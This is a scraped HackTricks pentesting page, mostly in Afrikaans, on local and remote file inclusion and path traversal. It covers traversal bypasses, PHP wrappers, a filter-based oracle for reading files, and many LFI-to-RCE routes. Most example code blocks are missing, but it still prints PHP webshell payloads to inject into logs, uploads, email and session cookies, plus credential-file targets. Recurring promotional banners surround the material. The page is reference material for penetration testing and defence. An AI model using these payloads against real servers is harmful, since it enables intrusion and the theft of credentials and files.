File Inclusion/Path traversal
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:
HackTricks Opleiding GCP Red Team Expert (GRTE)
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F843477771-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FC6PyZhjUxJWWaN3uLo1y%252Fuploads%252Fgit-blob-7ebaebfa37dac753bd916c91429befb49dfd6309%252Fimage%2520%28380%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=8c7820d9&sv=1)
Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en bug bounty jagters!
Hacking Inligting Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
Regte Tyd Hack Nuus Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
Laaste Aankondigings Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
Bestandsinsluiting
Afgeleë Bestandsinsluiting (RFI): Die bestand word van 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit deaktiviseer per standaard (allow_url_include). Plaaslike Bestandsinsluiting (LFI): Die bediener laai 'n plaaslike bestand.
Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die bestand kan beheer wat deur die bediener gelaai gaan word.
Kwetsbare PHP funksies: require, require_once, include, include_once
'n Interessante hulpmiddel om hierdie kwesbaarheid te benut: https://github.com/kurobeats/fimap
Blind - Interessant - LFI2RCE lêers
Linux
Deur verskeie *nix LFI-lists te meng en meer paaie by te voeg, het ek hierdie een geskep:
Probeer ook om /
te verander na \
Probeer ook om ../../../../../
by te voeg
'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan hier gevind word.
Windows
Samevoeging van verskillende woordlyste:
Probeer ook om /
te verander na \
Probeer ook om C:/
te verwyder en ../../../../../
by te voeg
'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan hier gevind word.
OS X
Kontroleer die LFI lys van linux.
Basiese LFI en omseilings
Al die voorbeelde is vir Local File Inclusion, maar kan ook op Remote File Inclusion toegepas word (bladsy=http://myserver.com/phpshellcode.txt\.
traverseringsekwensies nie-recursief verwyder
Null byte (%00)
Om die byvoeging van meer karakters aan die einde van die verskafde string te omseil (omseiling van: $_GET['param']."php")
Dit is opgelos sedert PHP 5.4
Kodering
Jy kan nie-standaard kodering soos dubbele URL-kodering (en ander) gebruik:
Van bestaande gids
Miskien kyk die agterkant na die gids pad:
Verkenning van Lêerstelsels op 'n Bediener
Die lêerstelsel van 'n bediener kan herhalend verken word om directories te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die directory-diepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
Bepaal Directory Diepte: Bepaal die diepte van jou huidige directory deur suksesvol die
/etc/passwd
lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
Probeer vir Gidsen: Voeg die naam van die vermoedelijke gids (bv.
private
) by die URL, en navigeer dan terug na/etc/passwd
. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
Interpret die Uitslae: Die bediener se antwoord dui aan of die gids bestaan:
Fout / Geen Uitset: Die gids
private
bestaan waarskynlik nie op die gespesifiseerde plek nie.Inhoud van
/etc/passwd
: Die teenwoordigheid van dieprivate
gids word bevestig.
Recursiewe Verkenning: Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
Vir die verkenning van gidse op verskillende plekke in die lêerstelsel, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of /var/www/
'n private
gids bevat (aannemende dat die huidige gids op 'n diepte van 3 is), gebruik:
Pad Truncasie Tegniek
Pad truncasie is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander word, steeds na die gewenste lêer wys.
In PHP kan verskeie voorstellings van 'n lêerpad as gelykwaardig beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, en/etc/passwd/
word almal as dieselfde pad hanteer.Wanneer die laaste 6 karakters
passwd
is, verander die toevoeging van 'n/
(wat ditpasswd/
maak) nie die geteikende lêer nie.Op soortgelyke wyse, as
.php
aan 'n lêerpad gevoeg word (soosshellcode.php
), sal die toevoeging van/.
aan die einde nie die lêer wat toegang verkry nie, verander.
Die verskafde voorbeelde demonstreer hoe om pad truncasie te gebruik om toegang te verkry tot /etc/passwd
, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
In hierdie scenario's mag die aantal traversals wat nodig is rondom 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
Gebruik van Punte Segmente en Addisionele Karakters: Traversal sekwensies (
../
) gekombineer met ekstra punte segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde stringe deur die bediener ignoreer.Bepaling van die Benodigde Aantal Traversals: Deur middel van proef en fout kan 'n mens die presiese aantal
../
sekwensies vind wat nodig is om na die wortelgids te navigeer en dan na/etc/passwd
, terwyl verseker word dat enige bygevoegde stringe (soos.php
) geneutraliseer word, maar die gewenste pad (/etc/passwd
) intakt bly.Begin met 'n Vals Gids: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos
a/
) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om die vereistes van die bediener se pad parsingslogika te vervul.
Wanneer pad truncasie tegnieke toegepas word, is dit van kardinale belang om die bediener se pad parsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
Hierdie kwesbaarheid is reggestel in PHP 5.3.
Filter omseil truuks
Remote File Inclusion
In php is dit standaard gedeaktiveer omdat allow_url_include
Af is. Dit moet Aan wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
As dit om een of ander rede allow_url_include
Aan is, maar PHP filter toegang tot eksterne webbladsye, volgens hierdie pos, kan jy byvoorbeeld die data protokol met base64 gebruik om 'n b64 PHP kode te dekodeer en RCE te verkry:
In die vorige kode is die finale +.txt
bygevoeg omdat die aanvaller 'n string nodig gehad het wat in .txt
eindig, so die string eindig daarmee en na die b64-dekodeer sal daardie deel net rommel teruggee en die werklike PHP-kode sal ingesluit word (en dus, uitgevoer).
Nog 'n voorbeeld wat nie die php://
protokol gebruik nie sou wees:
Python Wortel element
In python in 'n kode soos hierdie:
As die gebruiker 'n absolute pad na file_name
deurgee, word die vorige pad net verwyder:
Dit is die bedoelde gedrag volgens die dokumentasie:
As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die aansluiting voort vanaf die absolute padkomponent.
Java Lys Gidsen
Dit lyk of jy 'n Pad Traversal in Java het en jy vra vir 'n gids in plaas van 'n lêer, 'n lys van die gids word teruggestuur. Dit sal nie in ander tale gebeur nie (sover ek weet).
Top 25 parameters
Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir plaaslike lêerinvoeging (LFI) kwesbaarhede (van skakel):
LFI / RFI met PHP wrappers & protokolle
php://filter
PHP-filters laat basiese wysigingsoperasies op die data toe voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Verwyder etikette van die data (alles tussen "<" en ">" karakters)Let daarop dat hierdie filter uit die moderne weergawes van PHP verdwyn het
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transformeer na 'n ander kodering (convert.iconv.<input_enc>.<output_enc>
). Om die lys van alle koderinge wat ondersteun word te kry, voer in die konsole in:iconv -l
Deur die convert.iconv.*
omskakelingsfilter te misbruik, kan jy arbitraire teks genereer, wat nuttig kan wees om arbitraire teks te skryf of 'n funksie soos insluitingsproses arbitraire teks te maak. Vir meer inligting, kyk na LFI2RCE via php filters.
zlib.deflate
: Komprimeer die inhoud (nuttig as jy baie inligting uitbring)zlib.inflate
: Dekomprimeer die datamcrypt.*
: Verouderdmdecrypt.*
: VerouderdAnder Filters
Deur in php
var_dump(stream_get_filters());
te loop, kan jy 'n paar onverwagte filters vind:consumed
dechunk
: keer HTTP chunked kodering omconvert.*
Die deel "php://filter" is nie hooflettergevoelig nie
Gebruik php-filters as orakel om arbitrêre lêers te lees
In hierdie pos word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitvoer van die bediener terug te ontvang. Hierdie tegniek is gebaseer op 'n booleaanse eksfiltrasie van die lêer (karakter vir karakter) met behulp van php-filters as orakel. Dit is omdat php-filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering kan gooi.
In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek vind, maar hier is 'n vinnige opsomming:
Gebruik die kodek
UCS-4LE
om die voorste karakter van die teks aan die begin te laat en maak die grootte van die string eksponensieel groter.Dit sal gebruik word om 'n teks so groot te genereer wanneer die aanvanklike letter korrek geraai word dat php 'n fout sal aktiveer.
Die dechunk filter sal alles verwyder as die eerste karakter nie 'n hexadesimale is nie, sodat ons kan weet of die eerste karakter hex is.
Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n hexadesimale karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php-fout veroorsaak.
Die kodek convert.iconv.UNICODE.CP930 transformeer elke letter in die volgende een (so na hierdie kodek: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n
a
is byvoorbeeld, want as ons 6 van hierdie kodek toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadesimale karakter nie, daarom het dechunk dit nie verwyder nie en die php-fout word geaktiveer omdat dit vermenigvuldig met die aanvanklike bom.Deur ander transformasies soos rot13 aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodeks kan gebruik word om ander letters na die hex-reeks te beweeg).
Wanneer die aanvanklike karakter 'n getal is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die getal te lek.
Die finale probleem is om te sien hoe om meer as die aanvanklike letter te lek. Deur orde geheuefilters soos convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
En ten einde verdere data te verkry, is die idee om 2 bytes van rommeldata aan die begin te genereer met convert.iconv.UTF16.UTF16, toepas UCS-4LE om dit te pivot met die volgende 2 bytes, en verwyder die data tot die rommeldata (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
In die pos is 'n hulpmiddel om dit outomaties uit te voer ook gelekt: php_filters_chain_oracle_exploit.
php://fd
Hierdie wrapper laat toegang toe tot lêerdeskriptor wat die proses oop het. Potensieel nuttig om die inhoud van geopende lêers te eksfiltreer:
U kan ook php://stdin, php://stdout en php://stderr gebruik om toegang te verkry tot die lêer beskrywings 0, 1 en 2 onderskeidelik (nie seker hoe dit nuttig kan wees in 'n aanval nie)
zip:// en rar://
Laai 'n Zip of Rar lêer op met 'n PHPShell binne en toegang dit. Om die rar protokol te kan misbruik, moet dit spesifiek geaktiveer word.
data://
Let daarop dat hierdie protokol beperk word deur php konfigurasies allow_url_open
en allow_url_include
expect://
Expect moet geaktiveer wees. Jy kan kode uitvoer met hierdie:
input://
Spesifiseer jou payload in die POST parameters:
phar://
'n .phar
-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos include
vir lêerlaai benut. Die PHP-kodesnit hieronder demonstreer die skepping van 'n .phar
-lêer:
Om die .phar
-lêer te kompileer, moet die volgende opdrag uitgevoer word:
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, or filesize()
, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar
protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
phar:// deserializationCVE-2024-2961
Dit was moontlik om enige arbitrêre lêer wat van PHP gelees word wat php-filters ondersteun te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan in hierdie pos gevind word.
Baie vinnige opsomming: 'n 3 byte oorgang in die PHP heap is misbruik om die ketting van vrye stukke van 'n spesifieke grootte te verander sodat dit moontlik was om enigiets in enige adres te skryf, so 'n haak is bygevoeg om system
aan te roep.
Dit was moontlik om stukke van spesifieke groottes toe te ken deur meer php-filters te misbruik.
More protocols
Check more possible protocols to include here:
php://memory and php://temp — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêer insluit aanval nie)
file:// — Toegang tot plaaslike lêerstelsel
http:// — Toegang tot HTTP(s) URL's
ftp:// — Toegang tot FTP(s) URL's
zlib:// — Kompressiestrome
glob:// — Vind padname wat aan patroon voldoen (Dit gee niks drukbaar terug nie, so nie regtig nuttig hier nie)
ssh2:// — Secure Shell 2
ogg:// — Klankstrome (Nie nuttig om arbitrêre lêers te lees nie)
LFI via PHP's 'assert'
Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne stringe kan uitvoer. Dit is veral problematies as invoer wat katalogus traversie karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
For example, PHP code might be designed to prevent directory traversal like so:
Terwyl dit daarop gemik is om traversie te stop, skep dit onbedoeld 'n vektor vir kode-inspuiting. Om dit te benut om lêerinhoud te lees, kan 'n aanvaller gebruik maak van:
Net so, om arbitrêre stelselskommando's uit te voer, kan 'n mens gebruik maak van:
Dit is belangrik om URL-encode hierdie payloads.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F843477771-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FC6PyZhjUxJWWaN3uLo1y%252Fuploads%252Fgit-blob-7ebaebfa37dac753bd916c91429befb49dfd6309%252Fimage%2520%28380%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=8c7820d9&sv=1)
Sluit aan by HackenProof Discord bediener om met ervare hackers en bug bounty jagters te kommunikeer!
Hacking Inligting Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
Regte Tyd Hack Nuus Bly op hoogte van die vinnig bewegende hacking wêreld deur middel van regte tyd nuus en insigte
Laaste Aankondigings Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
PHP Blind Path Traversal
Hierdie tegniek is relevant in gevalle waar jy beheer oor die lêerpad van 'n PHP funksie het wat 'n lêer sal toegang maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na file()
) maar die inhoud word nie gewys nie.
In hierdie ongelooflike pos word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP filter om die inhoud van 'n lêer via 'n fout orakel te exfiltreer.
In samevatting, die tegniek gebruik die "UCS-4LE" kodering om die inhoud van 'n lêer so groot te maak dat die PHP funksie wat die lêer oopmaak 'n fout sal veroorsaak.
Dan, om die eerste karakter te lek, word die filter dechunk
gebruik saam met ander soos base64 of rot13 en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander karakters aan die begin te plaas en hulle te lek.
Funksies wat kwesbaar mag wees: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (slegs teiken lees net hiermee)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Vir die tegniese besonderhede kyk na die genoemde pos!
LFI2RCE
Remote File Inclusion
Soos voorheen verduidelik, volg hierdie skakel.
Via Apache/Nginx log lêer
As die Apache of Nginx bediener kwesbaar is vir LFI binne die insluitingsfunksie kan jy probeer om toegang te verkry tot /var/log/apache2/access.log
of /var/log/nginx/access.log
, stel binne die gebruikersagent of binne 'n GET parameter 'n php shell soos <?php system($_GET['c']); ?>
en sluit daardie lêer in
Let daarop dat as jy dubbele aanhalings gebruik vir die shell in plaas van enkele aanhalings, die dubbele aanhalings sal verander word na die string "quote;", PHP sal 'n fout gooi daar en niks anders sal uitgevoer word nie.
Maak ook seker dat jy die payload korrek skryf of PHP sal elke keer 'n fout maak wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
Dit kan ook in ander logs gedoen word, maar wees versigtig, die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die kop authorisation "basic" bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie kop ingevoeg word. Ander moontlike log paaie:
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via Email
Stuur 'n e-pos na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos <?php echo system($_REQUEST["cmd"]); ?>
en probeer om in te sluit in die e-pos van die gebruiker met 'n pad soos /var/mail/<USERNAME>
of /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
Laai 'n groot aantal shells op (byvoorbeeld: 100)
Sluit http://example.com/index.php?page=/proc/$PID/fd/$FD in, met $PID = PID van die proses (kan brute-forced word) en $FD die lêerdeskriptor (kan ook brute-forced word)
Via /proc/self/environ
Soos 'n loglêer, stuur die payload in die User-Agent, dit sal binne die /proc/self/environ lêer weerspieël word
Via oplaai
As jy 'n lêer kan oplaai, voeg net die shell payload daarin in (bv: <?php system($_GET['c']); ?>
).
Om die lêer leesbaar te hou, is dit die beste om in die metadata van die prente/doc/pdf in te spuit.
Via Zip lêer opgelaai
Laai 'n ZIP-lêer op wat 'n PHP-shell gecomprimeer bevat en toegang:
Via PHP-sessies
Kontroleer of die webwerf PHP-sessie (PHPSESSID) gebruik
In PHP word hierdie sessies gestoor in /var/lib/php5/sess\[PHPSESSID]_ lêers
Stel die koekie in op <?php system('cat /etc/passwd');?>
Gebruik die LFI om die PHP-sessie lêer in te sluit
Via ssh
As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer om toegang te verkry tot <HOME>/.ssh/id_rsa
Via vsftpd logs
Die logs vir die FTP-bediener vsftpd is geleë by /var/log/vsftpd.log. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
Spuit 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
Na inspuiting, gebruik die LFI om die bedienerlogs van /var/log/vsftpd.log te verkry.
Via php base64 filter (using base64)
Soos in hierdie artikel gewys, ignoreer die PHP base64 filter eenvoudig nie-base64. Jy kan dit gebruik om die lêer uitbreiding kontrole te omseil: as jy base64 verskaf wat eindig op ".php", sal dit eenvoudig die "." ignoreer en "php" aan die base64 voeg. Hier is 'n voorbeeld payload:
Via php filters (geen lêer nodig)
Hierdie skrywe verduidelik dat jy php filters kan gebruik om arbitrêre inhoud as uitvoer te genereer. Dit beteken basies dat jy arbitrêre php kode vir die insluiting kan genereer sonder om dit in 'n lêer te skryf.
LFI2RCE via PHP FiltersVia segmentasiefout
Laai 'n lêer op wat as tydelik in /tmp
gestoor sal word, dan in die dieselfde versoek, veroorsaak 'n segmentasiefout, en dan sal die tydelike lêer nie verwyder word nie en jy kan daarna soek.
Via Nginx tydelike lêer stoor
As jy 'n Plaaslike Lêer Insluiting gevind het en Nginx loop voor PHP, kan jy dalk RCE verkry met die volgende tegniek:
LFI2RCE via Nginx temp filesVia PHP_SESSION_UPLOAD_PROGRESS
As jy 'n Plaaslike Lêer Insluiting gevind het selfs al het jy nie 'n sessie nie en session.auto_start
is Off
. As jy die PHP_SESSION_UPLOAD_PROGRESS
in multipart POST data verskaf, sal PHP die sessie vir jou aktiveer. Jy kan dit misbruik om RCE te verkry:
Via tydelike lêer opgelaai in Windows
As jy 'n Plaaslike Lêer Insluiting gevind het en die bediener loop in Windows, kan jy RCE verkry:
LFI2RCE Via temp file uploadsVia pearcmd.php
+ URL args
pearcmd.php
+ URL argsSoos verduidelik in hierdie pos, bestaan die skrip /usr/local/lib/phppearcmd.php
standaard in php docker beelde. Boonop is dit moontlik om argumente aan die skrip deur die URL te gee omdat dit aangedui word dat as 'n URL parameter nie 'n =
het nie, dit as 'n argument gebruik moet word.
Die volgende versoek skep 'n lêer in /tmp/hello.php
met die inhoud <?=phpinfo()?>
:
Die volgende misbruik 'n CRLF kwesbaarheid om RCE te verkry (van hier):
Via phpinfo() (file_uploads = on)
As jy 'n Local File Inclusion en 'n lêer wat phpinfo() blootstel met file_uploads = on gevind het, kan jy RCE kry:
LFI2RCE via phpinfo()Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
PHP_STREAM_PREFER_STUDIO
+ Path DisclosureAs jy 'n Local File Inclusion gevind het en jy kan die pad van die tydelike lêer uitvoer, MAAR die bediener kontroleer of die lêer wat ingesluit moet word PHP-merke het, kan jy probeer om daardie kontrole te omseil met hierdie Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureVia eternal waiting + bruteforce
As jy die LFI kan misbruik om tydelike lêers op te laai en die bediener kan die PHP-uitvoering hang, kan jy dan lêernames vir ure brute force om die tydelike lêer te vind:
LFI2RCE via Eternal waitingTo Fatal Error
As jy enige van die lêers /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
Ek weet nie hoe dit nuttig is nie, maar dit mag wees. Alhoewel jy 'n PHP Fatal Error veroorsaak, word PHP tydelike lêers wat opgelaai is, verwyder.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F843477771-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FC6PyZhjUxJWWaN3uLo1y%252Fuploads%252Fgit-blob-fc26c62cc41ae097b6abd0bd1bb0a6acf58361de%252Fimage%2520%281031%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=ad597d5d&sv=1)
References
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F843477771-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FC6PyZhjUxJWWaN3uLo1y%252Fuploads%252Fgit-blob-7ebaebfa37dac753bd916c91429befb49dfd6309%252Fimage%2520%28380%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=8c7820d9&sv=1)
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated